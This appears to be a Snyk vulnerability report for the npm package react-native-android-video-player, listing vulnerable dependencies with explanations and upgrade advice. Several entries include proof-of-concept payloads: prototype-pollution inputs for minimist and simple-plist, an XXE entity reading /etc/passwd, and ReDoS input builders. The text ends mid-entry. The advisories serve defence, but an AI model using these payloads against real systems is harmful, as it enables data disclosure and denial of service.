Affected versions of this package are vulnerable to Denial of Service. Node Fetch did not honor the size
option after following a redirect, which means that when a content size was over the limit, a FetchError would never get thrown and the process would end without failure.
Remediation
Upgrade node-fetch
to version 2.6.1, 3.0.0-beta.9 or higher.
References
medium severity
- Vulnerable module: minimist
- Introduced through: react-native@0.36.1
Detailed paths
-
Introduced through: react-native-android-video-player@0.0.1 › react-native@0.36.1 › optimist@0.6.1 › minimist@0.0.10
Overview
minimist is a parse argument options module.
Affected versions of this package are vulnerable to Prototype Pollution. The library could be tricked into adding or modifying properties of Object.prototype
using a constructor
or __proto__
payload.
PoC by Snyk
require('minimist')('--__proto__.injected0 value0'.split(' '));
console.log(({}).injected0 === 'value0'); // true
require('minimist')('--constructor.prototype.injected1 value1'.split(' '));
console.log(({}).injected1 === 'value1'); // true
Details
Prototype Pollution is a vulnerability affecting JavaScript. Prototype Pollution refers to the ability to inject properties into existing JavaScript language construct prototypes, such as objects. JavaScript allows all Object attributes to be altered, including their magical attributes such as _proto_
, constructor
and prototype
. An attacker manipulates these attributes to overwrite, or pollute, a JavaScript application object prototype of the base object by injecting other values. Properties on the Object.prototype
are then inherited by all the JavaScript objects through the prototype chain. When that happens, this leads to either denial of service by triggering JavaScript exceptions, or it tampers with the application source code to force the code path that the attacker injects, thereby leading to remote code execution.
There are two main ways in which the pollution of prototypes occurs:
- Unsafe
Object
recursive merge - Property definition by path
Unsafe Object recursive merge
The logic of a vulnerable recursive merge function follows the following high-level model:
merge (target, source)
foreach property of source
if property exists and is an object on both the target and the source
merge(target[property], source[property])
else
target[property] = source[property]
When the source object contains a property named _proto_
defined with Object.defineProperty()
, the condition that checks if the property exists and is an object on both the target and the source passes and the merge recurses with the target, being the prototype of Object
and the source of Object
as defined by the attacker. Properties are then copied on the Object
prototype.
Clone operations are a special sub-class of unsafe recursive merges, which occur when a recursive merge is conducted on an empty object: merge({},source)
.
lodash
and Hoek
are examples of libraries susceptible to recursive merge attacks.
Property definition by path
There are a few JavaScript libraries that use an API to define property values on an object based on a given path. The function that is generally affected contains this signature: theFunction(object, path, value)
If the attacker can control the value of “path”, they can set this value to _proto_.myValue
. myValue
is then assigned to the prototype of the class of the object.
Types of attacks
There are a few methods by which Prototype Pollution can be manipulated:
Type | Origin | Short description |
---|---|---|
Denial of service (DoS) | Client | This is the most likely attack. DoS occurs when Object holds generic functions that are implicitly called for various operations (for example, toString and valueOf ). The attacker pollutes Object.prototype.someattr and alters its state to an unexpected value such as Int or Object . In this case, the code fails and is likely to cause a denial of service. For example: if an attacker pollutes Object.prototype.toString by defining it as an integer, if the codebase at any point was reliant on someobject.toString() it would fail. |
Remote Code Execution | Client | Remote code execution is generally only possible in cases where the codebase evaluates a specific attribute of an object, and then executes that evaluation. For example: eval(someobject.someattr) . In this case, if the attacker pollutes Object.prototype.someattr they are likely to be able to leverage this in order to execute code. |
Property Injection | Client | The attacker pollutes properties that the codebase relies on for their informative value, including security properties such as cookies or tokens. For example: if a codebase checks privileges for someuser.isAdmin , then when the attacker pollutes Object.prototype.isAdmin and sets it to equal true , they can then achieve admin privileges. |
Affected environments
The following environments are susceptible to a Prototype Pollution attack:
- Application server
- Web server
How to prevent
- Freeze the prototype— use
Object.freeze (Object.prototype)
. - Require schema validation of JSON input.
- Avoid using unsafe recursive merge functions.
- Consider using objects without prototypes (for example,
Object.create(null)
), breaking the prototype chain and preventing pollution. - As a best practice use
Map
instead ofObject
.
For more information on this vulnerability type:
Arteau, Oliver. “JavaScript prototype pollution attack in NodeJS application.” GitHub, 26 May 2018
Remediation
Upgrade minimist
to version 0.2.1, 1.2.3 or higher.
References
medium severity
- Vulnerable module: simple-plist
- Introduced through: react-native@0.36.1
Detailed paths
-
Introduced through: react-native-android-video-player@0.0.1 › react-native@0.36.1 › xcode@0.8.9 › simple-plist@0.1.4
Overview
simple-plist is an A wrapper utility for interacting with plist data.
Affected versions of this package are vulnerable to Prototype Pollution via the .parse()
function. This vulnerability can be exploited when parsing a specially crafted XML.
PoC
var xmlPollution = `
<plist version="1.0">
<dict>
<key>__proto__</key>
<dict>
<key>length</key>
<string>polluted</string>
</dict>
</dict>
</plist>`;
console.log(plist.parse(xmlPollution).length); // polluted
Details
Prototype Pollution is a vulnerability affecting JavaScript. Prototype Pollution refers to the ability to inject properties into existing JavaScript language construct prototypes, such as objects. JavaScript allows all Object attributes to be altered, including their magical attributes such as _proto_
, constructor
and prototype
. An attacker manipulates these attributes to overwrite, or pollute, a JavaScript application object prototype of the base object by injecting other values. Properties on the Object.prototype
are then inherited by all the JavaScript objects through the prototype chain. When that happens, this leads to either denial of service by triggering JavaScript exceptions, or it tampers with the application source code to force the code path that the attacker injects, thereby leading to remote code execution.
There are two main ways in which the pollution of prototypes occurs:
- Unsafe
Object
recursive merge - Property definition by path
Unsafe Object recursive merge
The logic of a vulnerable recursive merge function follows the following high-level model:
merge (target, source)
foreach property of source
if property exists and is an object on both the target and the source
merge(target[property], source[property])
else
target[property] = source[property]
When the source object contains a property named _proto_
defined with Object.defineProperty()
, the condition that checks if the property exists and is an object on both the target and the source passes and the merge recurses with the target, being the prototype of Object
and the source of Object
as defined by the attacker. Properties are then copied on the Object
prototype.
Clone operations are a special sub-class of unsafe recursive merges, which occur when a recursive merge is conducted on an empty object: merge({},source)
.
lodash
and Hoek
are examples of libraries susceptible to recursive merge attacks.
Property definition by path
There are a few JavaScript libraries that use an API to define property values on an object based on a given path. The function that is generally affected contains this signature: theFunction(object, path, value)
If the attacker can control the value of “path”, they can set this value to _proto_.myValue
. myValue
is then assigned to the prototype of the class of the object.
Types of attacks
There are a few methods by which Prototype Pollution can be manipulated:
Type | Origin | Short description |
---|---|---|
Denial of service (DoS) | Client | This is the most likely attack. DoS occurs when Object holds generic functions that are implicitly called for various operations (for example, toString and valueOf ). The attacker pollutes Object.prototype.someattr and alters its state to an unexpected value such as Int or Object . In this case, the code fails and is likely to cause a denial of service. For example: if an attacker pollutes Object.prototype.toString by defining it as an integer, if the codebase at any point was reliant on someobject.toString() it would fail. |
Remote Code Execution | Client | Remote code execution is generally only possible in cases where the codebase evaluates a specific attribute of an object, and then executes that evaluation. For example: eval(someobject.someattr) . In this case, if the attacker pollutes Object.prototype.someattr they are likely to be able to leverage this in order to execute code. |
Property Injection | Client | The attacker pollutes properties that the codebase relies on for their informative value, including security properties such as cookies or tokens. For example: if a codebase checks privileges for someuser.isAdmin , then when the attacker pollutes Object.prototype.isAdmin and sets it to equal true , they can then achieve admin privileges. |
Affected environments
The following environments are susceptible to a Prototype Pollution attack:
- Application server
- Web server
How to prevent
- Freeze the prototype— use
Object.freeze (Object.prototype)
. - Require schema validation of JSON input.
- Avoid using unsafe recursive merge functions.
- Consider using objects without prototypes (for example,
Object.create(null)
), breaking the prototype chain and preventing pollution. - As a best practice use
Map
instead ofObject
.
For more information on this vulnerability type:
Arteau, Oliver. “JavaScript prototype pollution attack in NodeJS application.” GitHub, 26 May 2018
Remediation
There is no fixed version for simple-plist
.
References
medium severity
- Vulnerable module: xmldom
- Introduced through: react-native@0.36.1
Detailed paths
-
Introduced through: react-native-android-video-player@0.0.1 › react-native@0.36.1 › plist@1.2.0 › xmldom@0.1.31Remediation: Upgrade to react-native-android-video-player@0.1.1.
-
Introduced through: react-native-android-video-player@0.0.1 › react-native@0.36.1 › xcode@0.8.9 › simple-plist@0.1.4 › plist@1.2.0 › xmldom@0.1.31Remediation: Upgrade to react-native-android-video-player@0.1.1.
Overview
xmldom is an A pure JavaScript W3C standard-based (XML DOM Level 2 Core) DOMParser and XMLSerializer module.
Affected versions of this package are vulnerable to XML External Entity (XXE) Injection. Does not correctly preserve system identifiers, FPIs or namespaces when repeatedly parsing and serializing maliciously crafted documents.
Details
XXE Injection is a type of attack against an application that parses XML input. XML is a markup language that defines a set of rules for encoding documents in a format that is both human-readable and machine-readable. By default, many XML processors allow specification of an external entity, a URI that is dereferenced and evaluated during XML processing. When an XML document is being parsed, the parser can make a request and include the content at the specified URI inside of the XML document.
Attacks can include disclosing local files, which may contain sensitive data such as passwords or private user data, using file: schemes or relative paths in the system identifier.
For example, below is a sample XML document, containing an XML element- username.
<xml>
<?xml version="1.0" encoding="ISO-8859-1"?>
<username>John</username>
</xml>
An external XML entity - xxe
, is defined using a system identifier and present within a DOCTYPE header. These entities can access local or remote content. For example the below code contains an external XML entity that would fetch the content of /etc/passwd
and display it to the user rendered by username
.
<xml>
<?xml version="1.0" encoding="ISO-8859-1"?>
<!DOCTYPE foo [
<!ENTITY xxe SYSTEM "file:///etc/passwd" >]>
<username>&xxe;</username>
</xml>
Other XXE Injection attacks can access local resources that may not stop returning data, possibly impacting application availability and leading to Denial of Service.
Remediation
Upgrade xmldom
to version 0.5.0 or higher.
References
medium severity
- Vulnerable module: css-what
- Introduced through: react-native@0.36.1
Detailed paths
-
Introduced through: react-native-android-video-player@0.0.1 › react-native@0.36.1 › yeoman-generator@0.21.2 › html-wiring@1.2.0 › cheerio@0.19.0 › css-select@1.0.0 › css-what@1.0.0
Overview
css-what is an a CSS selector parser
Affected versions of this package are vulnerable to Regular Expression Denial of Service (ReDoS) via attribute parsing.
Details
Denial of Service (DoS) describes a family of attacks, all aimed at making a system inaccessible to its original and legitimate users. There are many types of DoS attacks, ranging from trying to clog the network pipes to the system by generating a large volume of traffic from many machines (a Distributed Denial of Service - DDoS - attack) to sending crafted requests that cause a system to crash or take a disproportional amount of time to process.
The Regular expression Denial of Service (ReDoS) is a type of Denial of Service attack. Regular expressions are incredibly powerful, but they aren't very intuitive and can ultimately end up making it easy for attackers to take your site down.
Let’s take the following regular expression as an example:
regex = /A(B|C+)+D/
This regular expression accomplishes the following:
A
The string must start with the letter 'A'(B|C+)+
The string must then follow the letter A with either the letter 'B' or some number of occurrences of the letter 'C' (the+
matches one or more times). The+
at the end of this section states that we can look for one or more matches of this section.D
Finally, we ensure this section of the string ends with a 'D'
The expression would match inputs such as ABBD
, ABCCCCD
, ABCBCCCD
and ACCCCCD
It most cases, it doesn't take very long for a regex engine to find a match:
$ time node -e '/A(B|C+)+D/.test("ACCCCCCCCCCCCCCCCCCCCCCCCCCCCD")'
0.04s user 0.01s system 95% cpu 0.052 total
$ time node -e '/A(B|C+)+D/.test("ACCCCCCCCCCCCCCCCCCCCCCCCCCCCX")'
1.79s user 0.02s system 99% cpu 1.812 total
The entire process of testing it against a 30 characters long string takes around ~52ms. But when given an invalid string, it takes nearly two seconds to complete the test, over ten times as long as it took to test a valid string. The dramatic difference is due to the way regular expressions get evaluated.
Most Regex engines will work very similarly (with minor differences). The engine will match the first possible way to accept the current character and proceed to the next one. If it then fails to match the next one, it will backtrack and see if there was another way to digest the previous character. If it goes too far down the rabbit hole only to find out the string doesn’t match in the end, and if many characters have multiple valid regex paths, the number of backtracking steps can become very large, resulting in what is known as catastrophic backtracking.
Let's look at how our expression runs into this problem, using a shorter string: "ACCCX". While it seems fairly straightforward, there are still four different ways that the engine could match those three C's:
- CCC
- CC+C
- C+CC
- C+C+C.
The engine has to try each of those combinations to see if any of them potentially match against the expression. When you combine that with the other steps the engine must take, we can use RegEx 101 debugger to see the engine has to take a total of 38 steps before it can determine the string doesn't match.
From there, the number of steps the engine must use to validate a string just continues to grow.
String | Number of C's | Number of steps |
---|---|---|
ACCCX | 3 | 38 |
ACCCCX | 4 | 71 |
ACCCCCX | 5 | 136 |
ACCCCCCCCCCCCCCX | 14 | 65,553 |
By the time the string includes 14 C's, the engine has to take over 65,000 steps just to see if the string is valid. These extreme situations can cause them to work very slowly (exponentially related to input size, as shown above), allowing an attacker to exploit this and can cause the service to excessively consume CPU, resulting in a Denial of Service.
Remediation
Upgrade css-what
to version 5.0.1 or higher.
References
medium severity
- Vulnerable module: glob-parent
- Introduced through: react-native@0.36.1
Detailed paths
-
Introduced through: react-native-android-video-player@0.0.1 › react-native@0.36.1 › yeoman-generator@0.21.2 › download@4.4.3 › vinyl-fs@2.4.4 › glob-stream@5.3.5 › glob-parent@3.1.0
-
Introduced through: react-native-android-video-player@0.0.1 › react-native@0.36.1 › yeoman-generator@0.21.2 › download@4.4.3 › gulp-decompress@1.2.0 › decompress@3.0.0 › vinyl-fs@2.4.4 › glob-stream@5.3.5 › glob-parent@3.1.0
-
Introduced through: react-native-android-video-player@0.0.1 › react-native@0.36.1 › yeoman-generator@0.21.2 › download@4.4.3 › vinyl-fs@2.4.4 › glob-stream@5.3.5 › micromatch@2.3.11 › parse-glob@3.0.4 › glob-base@0.3.0 › glob-parent@2.0.0
-
Introduced through: react-native-android-video-player@0.0.1 › react-native@0.36.1 › yeoman-generator@0.21.2 › download@4.4.3 › gulp-decompress@1.2.0 › decompress@3.0.0 › vinyl-fs@2.4.4 › glob-stream@5.3.5 › micromatch@2.3.11 › parse-glob@3.0.4 › glob-base@0.3.0 › glob-parent@2.0.0
Overview
glob-parent is a package that helps extracting the non-magic parent path from a glob string.
Affected versions of this package are vulnerable to Regular Expression Denial of Service (ReDoS). The enclosure
regex used to check for strings ending in enclosure containing path separator.
PoC by Yeting Li
var globParent = require("glob-parent")
function build_attack(n) {
var ret = "{"
for (var i = 0; i < n; i++) {
ret += "/"
}
return ret;
}
globParent(build_attack(5000));
Details
Denial of Service (DoS) describes a family of attacks, all aimed at making a system inaccessible to its original and legitimate users. There are many types of DoS attacks, ranging from trying to clog the network pipes to the system by generating a large volume of traffic from many machines (a Distributed Denial of Service - DDoS - attack) to sending crafted requests that cause a system to crash or take a disproportional amount of time to process.
The Regular expression Denial of Service (ReDoS) is a type of Denial of Service attack. Regular expressions are incredibly powerful, but they aren't very intuitive and can ultimately end up making it easy for attackers to take your site down.
Let’s take the following regular expression as an example:
regex = /A(B|C+)+D/
This regular expression accomplishes the following:
A
The string must start with the letter 'A'(B|C+)+
The string must then follow the letter A with either the letter 'B' or some number of occurrences of the letter 'C' (the+
matches one or more times). The+
at the end of this section states that we can look for one or more matches of this section.D
Finally, we ensure this section of the string ends with a 'D'
The expression would match inputs such as ABBD
, ABCCCCD
, ABCBCCCD
and ACCCCCD
It most cases, it doesn't take very long for a regex engine to find a match:
$ time node -e '/A(B|C+)+D/.test("ACCCCCCCCCCCCCCCCCCCCCCCCCCCCD")'
0.04s user 0.01s system 95% cpu 0.052 total
$ time node -e '/A(B|C+)+D/.test("ACCCCCCCCCCCCCCCCCCCCCCCCCCCCX")'
1.79s user 0.02s system 99% cpu 1.812 total
The entire process of testing it against a 30 characters long string takes around ~52ms. But when given an invalid string, it takes nearly two seconds to complete the test, over ten times as long as it took to test a valid string. The dramatic difference is due to the way regular expressions get evaluated.
Most Regex engines will work very similarly (with minor differences). The engine will match the first possible way to accept the current character and proceed to the next one. If it then fails to match the next one, it will backtrack and see if there was another way to digest the previous character. If it goes too far down the rabbit hole only to find out the string doesn’t match in the end, and if many characters have multiple valid regex paths, the number of backtracking steps can become very large, resulting in what is known as catastrophic backtracking.
Let's look at how our expression runs into this problem, using a shorter string: "ACCCX". While it seems fairly straightforward, there are still four different ways that the engine could match those three C's:
- CCC
- CC+C
- C+CC
- C+C+C.
The engine has to try each of those combinations to see if any of them potentially match against the expression. When you combine that with the other steps the engine must take, we can use RegEx 101 debugger to see the engine has to take a total of 38 steps before it can determine the string doesn't match.
From there, the number of steps the engine must use to validate a string just continues to grow.
String | Number of C's | Number of steps |
---|---|---|
ACCCX | 3 | 38 |
ACCCCX | 4 | 71 |
ACCCCCX | 5 | 136 |
ACCCCCCCCCCCCCCX | 14 | 65,553 |
By the time the string includes 14 C's, the engine has to take over 65,000 steps just to see if the string is valid. These extreme situations can cause them to work very slowly (exponentially related to input size, as shown above), allowing an attacker to exploit this and can cause the service to excessively consume CPU, resulting in a Denial of Service.
Remediation
Upgrade glob-parent
to version 5.1.2 or higher.
References
medium severity
- Vulnerable module: lodash
- Introduced through: react-native@0.36.1
Detailed paths
-
Introduced through: react-native-android-video-player@0.0.1 › react-native@0.36.1 › lodash@3.10.1Remediation: Upgrade to react-native-android-video-player@0.1.1.
-
Introduced through: react-native-android-video-player@0.0.1 › react-native@0.36.1 › yeoman-environment@1.5.3 › lodash@3.10.1Remediation: Upgrade to react-native-android-video-player@0.1.1.
-
Introduced through: react-native-android-video-player@0.0.1 › react-native@0.36.1 › yeoman-generator@0.21.2 › lodash@3.10.1Remediation: Upgrade to react-native-android-video-player@0.1.1.
-
Introduced through: react-native-android-video-player@0.0.1 › react-native@0.36.1 › plist@1.2.0 › xmlbuilder@4.0.0 › lodash@3.10.1
-
Introduced through: react-native-android-video-player@0.0.1 › react-native@0.36.1 › yeoman-environment@1.5.3 › inquirer@0.11.4 › lodash@3.10.1Remediation: Upgrade to react-native-android-video-player@0.1.1.
-
Introduced through: react-native-android-video-player@0.0.1 › react-native@0.36.1 › yeoman-generator@0.21.2 › inquirer@0.11.4 › lodash@3.10.1Remediation: Upgrade to react-native-android-video-player@0.1.1.
-
Introduced through: react-native-android-video-player@0.0.1 › react-native@0.36.1 › yeoman-generator@0.21.2 › yeoman-environment@1.5.3 › lodash@3.10.1Remediation: Upgrade to react-native-android-video-player@0.1.1.
-
Introduced through: react-native-android-video-player@0.0.1 › react-native@0.36.1 › yeoman-generator@0.21.2 › yeoman-environment@1.5.3 › inquirer@0.11.4 › lodash@3.10.1Remediation: Upgrade to react-native-android-video-player@0.1.1.
-
Introduced through: react-native-android-video-player@0.0.1 › react-native@0.36.1 › yeoman-generator@0.21.2 › html-wiring@1.2.0 › cheerio@0.19.0 › lodash@3.10.1
-
Introduced through: react-native-android-video-player@0.0.1 › react-native@0.36.1 › xcode@0.8.9 › simple-plist@0.1.4 › plist@1.2.0 › xmlbuilder@4.0.0 › lodash@3.10.1
Overview
lodash is a modern JavaScript utility library delivering modularity, performance, & extras.
Affected versions of this package are vulnerable to Regular Expression Denial of Service (ReDoS) via the toNumber
, trim
and trimEnd
functions.
POC
var lo = require('lodash');
function build_blank (n) {
var ret = "1"
for (var i = 0; i < n; i++) {
ret += " "
}
return ret + "1";
}
var s = build_blank(50000)
var time0 = Date.now();
lo.trim(s)
var time_cost0 = Date.now() - time0;
console.log("time_cost0: " + time_cost0)
var time1 = Date.now();
lo.toNumber(s)
var time_cost1 = Date.now() - time1;
console.log("time_cost1: " + time_cost1)
var time2 = Date.now();
lo.trimEnd(s)
var time_cost2 = Date.now() - time2;
console.log("time_cost2: " + time_cost2)
Details
Denial of Service (DoS) describes a family of attacks, all aimed at making a system inaccessible to its original and legitimate users. There are many types of DoS attacks, ranging from trying to clog the network pipes to the system by generating a large volume of traffic from many machines (a Distributed Denial of Service - DDoS - attack) to sending crafted requests that cause a system to crash or take a disproportional amount of time to process.
The Regular expression Denial of Service (ReDoS) is a type of Denial of Service attack. Regular expressions are incredibly powerful, but they aren't very intuitive and can ultimately end up making it easy for attackers to take your site down.
Let’s take the following regular expression as an example:
regex = /A(B|C+)+D/
This regular expression accomplishes the following:
A
The string must start with the letter 'A'(B|C+)+
The string must then follow the letter A with either the letter 'B' or some number of occurrences of the letter 'C' (the+
matches one or more times). The+
at the end of this section states that we can look for one or more matches of this section.D
Finally, we ensure this section of the string ends with a 'D'
The expression would match inputs such as ABBD
, ABCCCCD
, ABCBCCCD
and ACCCCCD
It most cases, it doesn't take very long for a regex engine to find a match:
$ time node -e '/A(B|C+)+D/.test("ACCCCCCCCCCCCCCCCCCCCCCCCCCCCD")'
0.04s user 0.01s system 95% cpu 0.052 total
$ time node -e '/A(B|C+)+D/.test("ACCCCCCCCCCCCCCCCCCCCCCCCCCCCX")'
1.79s user 0.02s system 99% cpu 1.812 total
The entire process of testing it against a 30 characters long string takes around ~52ms. But when given an invalid string, it takes nearly two seconds to complete the test, over ten times as long as it took to test a valid string. The dramatic difference is due to the way regular expressions get evaluated.
Most Regex engines will work very similarly (with minor differences). The engine will match the first possible way to accept the current character and proceed to the next one. If it then fails to match the next one, it will backtrack and see if there was another way to digest the previous character. If it goes too far down the rabbit hole only to find out the string doesn’t match in the end, and if many characters have multiple valid regex paths, the number of backtracking steps can become very large, resulting in what is known as catastrophic backtracking.
Let's look at how our expression runs into this problem, using a shorter string: "ACCCX". While it seems fairly straightforward, there are still four different ways that the engine could match those three C's:
- CCC
- CC+C
- C+CC
- C+C+C.
The engine has to try each of those combinations to see if any of them potentially match against the expression. When you combine that with the other steps the engine must take, we can use RegEx 101 debugger to see the engine has to take a total of 38 steps before it can determine the string doesn't match.
From there, the number of steps the engine must use to validate a string just continues to grow.
String | Number of C's | Number of steps |
---|---|---|
ACCCX | 3 | 38 |
ACCCCX | 4 | 71 |
ACCCCCX | 5 | 136 |
ACCCCCCCCCCCCCCX | 14 | 65,553 |
By the time the string includes 14 C's, the engine has to take over 65,000 steps just to see if the string is valid. These extreme situations can cause them to work very slowly (exponentially related to input size, as shown above), allowing an attacker to exploit this and can cause the service to excessively consume CPU, resulting in a Denial of Service.
Remediation
Upgrade lodash
to version 4.17.21 or higher.
References
medium severity
- Vulnerable module: uglify-js
- Introduced through: react-native@0.36.1
Detailed paths
-
Introduced through: react-native-android-video-player@0.0.1 › react-native@0.36.1 › uglify-js@2.8.29Remediation: Upgrade to react-native-android-video-player@0.1.1.
Overview
uglify-js is a JavaScript parser, minifier, compressor and beautifier toolkit.
Affected versions of this package are vulnerable to Regular Expression Denial of Service (ReDoS) via the string_template
and the decode_template
functions.
Details
Denial of Service (DoS) describes a family of attacks, all aimed at making a system inaccessible to its original and legitimate users. There are many types of DoS attacks, ranging from trying to clog the network pipes to the system by generating a large volume of traffic from many machines (a Distributed Denial of Service - DDoS - attack) to sending crafted requests that cause a system to crash or take a disproportional amount of time to process.
The Regular expression Denial of Service (ReDoS) is a type of Denial of Service attack. Regular expressions are incredibly powerful, but they aren't very intuitive and can ultimately end up making it easy for attackers to take your site down.
Let’s take the following regular expression as an example:
regex = /A(B|C+)+D/
This regular expression accomplishes the following:
A
The string must start with the letter 'A'(B|C+)+
The string must then follow the letter A with either the letter 'B' or some number of occurrences of the letter 'C' (the+
matches one or more times). The+
at the end of this section states that we can look for one or more matches of this section.D
Finally, we ensure this section of the string ends with a 'D'
The expression would match inputs such as ABBD
, ABCCCCD
, ABCBCCCD
and ACCCCCD
It most cases, it doesn't take very long for a regex engine to find a match:
$ time node -e '/A(B|C+)+D/.test("ACCCCCCCCCCCCCCCCCCCCCCCCCCCCD")'
0.04s user 0.01s system 95% cpu 0.052 total
$ time node -e '/A(B|C+)+D/.test("ACCCCCCCCCCCCCCCCCCCCCCCCCCCCX")'
1.79s user 0.02s system 99% cpu 1.812 total
The entire process of testing it against a 30 characters long string takes around ~52ms. But when given an invalid string, it takes nearly two seconds to complete the test, over ten times as long as it took to test a valid string. The dramatic difference is due to the way regular expressions get evaluated.
Most Regex engines will work very similarly (with minor differences). The engine will match the first possible way to accept the current character and proceed to the next one. If it then fails to match the next one, it will backtrack and see if there was another way to digest the previous character. If it goes too far down the rabbit hole only to find out the string doesn’t match in the end, and if many characters have multiple valid regex paths, the number of backtracking steps can become very large, resulting in what is known as catastrophic backtracking.
Let's look at how our expression runs into this problem, using a shorter string: "ACCCX". While it seems fairly straightforward, there are still four different ways that the engine could match those three C's:
- CCC
- CC+C
- C+CC
- C+C+C.
The engine has to try each of those combinations to see if any of them potentially match against the expression. When you combine that with the other steps the engine must take, we can use RegEx 101 debugger to see the engine has to take a total of 38 steps before it can determine the string doesn't match.
From there, the number of steps the engine must use to validate a string just continues to grow.
String | Number of C's | Number of steps |
---|---|---|
ACCCX | 3 | 38 |
ACCCCX | 4 | 71 |
ACCCCCX | 5 | 136 |
ACCCCCCCCCCCCCCX | 14 | 65,553 |
By the time the string includes 14 C's, the engine has to take over 65,000 steps just to see if the string is valid. These extreme situations can cause them to work very slowly (exponentially related to input size, as shown above), allowing an attacker to exploit this and can cause the service to excessively consume CPU, resulting in a Denial of Service.
Remediation
Upgrade uglify-js
to version 3.14.3 or higher.
References
medium severity
- Vulnerable module: ws
- Introduced through: react-native@0.36.1
Detailed paths
-
Introduced through: react-native-android-video-player@0.0.1 › react-native@0.36.1 › ws@1.1.5Remediation: Upgrade to react-native-android-video-player@0.1.1.
Overview
ws is a simple to use websocket client, server and console for node.js.
Affected versions of this package are vulnerable to Regular Expression Denial of Service (ReDoS). A specially crafted value of the Sec-Websocket-Protocol
header can be used to significantly slow down a ws
server.
##PoC
for (const length of [1000, 2000, 4000, 8000, 16000, 32000]) {
const value = 'b' + ' '.repeat(length) + 'x';
const start = process.hrtime.bigint();
value.trim().split(/ *, */);
const end = process.hrtime.bigint();
console.log('length = %d, time = %f ns', length, end - start);
}
Details
Denial of Service (DoS) describes a family of attacks, all aimed at making a system inaccessible to its original and legitimate users. There are many types of DoS attacks, ranging from trying to clog the network pipes to the system by generating a large volume of traffic from many machines (a Distributed Denial of Service - DDoS - attack) to sending crafted requests that cause a system to crash or take a disproportional amount of time to process.
The Regular expression Denial of Service (ReDoS) is a type of Denial of Service attack. Regular expressions are incredibly powerful, but they aren't very intuitive and can ultimately end up making it easy for attackers to take your site down.
Let’s take the following regular expression as an example:
regex = /A(B|C+)+D/
This regular expression accomplishes the following:
A
The string must start with the letter 'A'(B|C+)+
The string must then follow the letter A with either the letter 'B' or some number of occurrences of the letter 'C' (the+
matches one or more times). The+
at the end of this section states that we can look for one or more matches of this section.D
Finally, we ensure this section of the string ends with a 'D'
The expression would match inputs such as ABBD
, ABCCCCD
, ABCBCCCD
and ACCCCCD
It most cases, it doesn't take very long for a regex engine to find a match:
$ time node -e '/A(B|C+)+D/.test("ACCCCCCCCCCCCCCCCCCCCCCCCCCCCD")'
0.04s user 0.01s system 95% cpu 0.052 total
$ time node -e '/A(B|C+)+D/.test("ACCCCCCCCCCCCCCCCCCCCCCCCCCCCX")'
1.79s user 0.02s system 99% cpu 1.812 total
The entire process of testing it against a 30 characters long string takes around ~52ms. But when given an invalid string, it takes nearly two seconds to complete the test, over ten times as long as it took to test a valid string. The dramatic difference is due to the way regular expressions get evaluated.
Most Regex engines will work very similarly (with minor differences). The engine will match the first possible way to accept the current character and proceed to the next one. If it then fails to match the next one, it will backtrack and see if there was another way to digest the previous character. If it goes too far down the rabbit hole only to find out the string doesn’t match in the end, and if many characters have multiple valid regex paths, the number of backtracking steps can become very large, resulting in what is known as catastrophic backtracking.
Let's look at how our expression runs into this problem, using a shorter string: "ACCCX". While it seems fairly straightforward, there are still four different ways that the engine could match those three C's:
- CCC
- CC+C
- C+CC
- C+C+C.
The engine has to try each of those combinations to see if any of them potentially match against the expression. When you combine that with the other steps the engine must take, we can use RegEx 101 debugger to see the engine has to take a total of 38 steps before it can determine the string doesn't match.
From there, the number of steps the engine must use to validate a string just continues to grow.
String | Number of C's | Number of steps |
---|---|---|
ACCCX | 3 | 38 |
ACCCCX | 4 | 71 |
ACCCCCX | 5 | 136 |
ACCCCCCCCCCCCCCX | 14 | 65,553 |
By the time the string includes 14 C's, the engine has to take over 65,000 steps just to see if the string is valid. These extreme situations can cause them to work very slowly (exponentially related to input size, as shown above), allowing an attacker to exploit this and can cause the service to excessively consume CPU, resulting in a Denial of Service.
Remediation
Upgrade ws
to version 7.4.6, 6.2.2, 5.2.3 or higher.
References
medium severity
- Vulnerable module: tunnel-agent
- Introduced through: react-native@0.36.1
Detailed paths
-
Introduced through: react-native-android-video-player@0.0.1 › react-native@0.36.1 › yeoman-generator@0.21.2 › download@4.4.3 › caw@1.2.0 › tunnel-agent@0.4.3Remediation: Upgrade to react-native-android-video-player@0.1.1.
Overview
tunnel-agent
is HTTP proxy tunneling agent. Affected versions of the package are vulnerable to Uninitialized Memory Exposure.
A possible memory disclosure vulnerability exists when a value of type number
is used to set the proxy.auth option of a request request
and results in a possible uninitialized memory exposures in the request body.
This is a result of unobstructed use of the Buffer
constructor, whose insecure default constructor increases the odds of memory leakage.
Details
Constructing a Buffer
class with integer N
creates a Buffer
of length N
with raw (not "zero-ed") memory.
In the following example, the first call would allocate 100 bytes of memory, while the second example will allocate the memory needed for the string "100":
// uninitialized Buffer of length 100
x = new Buffer(100);
// initialized Buffer with value of '100'
x = new Buffer('100');
tunnel-agent
's request
construction uses the default Buffer
constructor as-is, making it easy to append uninitialized memory to an existing list. If the value of the buffer list is exposed to users, it may expose raw server side memory, potentially holding secrets, private data and code. This is a similar vulnerability to the infamous Heartbleed
flaw in OpenSSL.
Proof of concept by ChALkeR
require('request')({
method: 'GET',
uri: 'http://www.example.com',
tunnel: true,
proxy:{
protocol: 'http:',
host:"127.0.0.1",
port:8080,
auth:80
}
});
You can read more about the insecure Buffer
behavior on our blog.
Similar vulnerabilities were discovered in request, mongoose, ws and sequelize.
Remediation
Upgrade tunnel-agent
to version 0.6.0 or higher.
Note This is vulnerable only for Node <=4
References
medium severity
- Vulnerable module: lodash
- Introduced through: react-native@0.36.1
Detailed paths
-
Introduced through: react-native-android-video-player@0.0.1 › react-native@0.36.1 › lodash@3.10.1Remediation: Upgrade to react-native-android-video-player@0.1.1.
-
Introduced through: react-native-android-video-player@0.0.1 › react-native@0.36.1 › yeoman-environment@1.5.3 › lodash@3.10.1Remediation: Upgrade to react-native-android-video-player@0.1.1.
-
Introduced through: react-native-android-video-player@0.0.1 › react-native@0.36.1 › yeoman-generator@0.21.2 › lodash@3.10.1Remediation: Upgrade to react-native-android-video-player@0.1.1.
-
Introduced through: react-native-android-video-player@0.0.1 › react-native@0.36.1 › plist@1.2.0 › xmlbuilder@4.0.0 › lodash@3.10.1
-
Introduced through: react-native-android-video-player@0.0.1 › react-native@0.36.1 › yeoman-environment@1.5.3 › inquirer@0.11.4 › lodash@3.10.1Remediation: Upgrade to react-native-android-video-player@0.1.1.
-
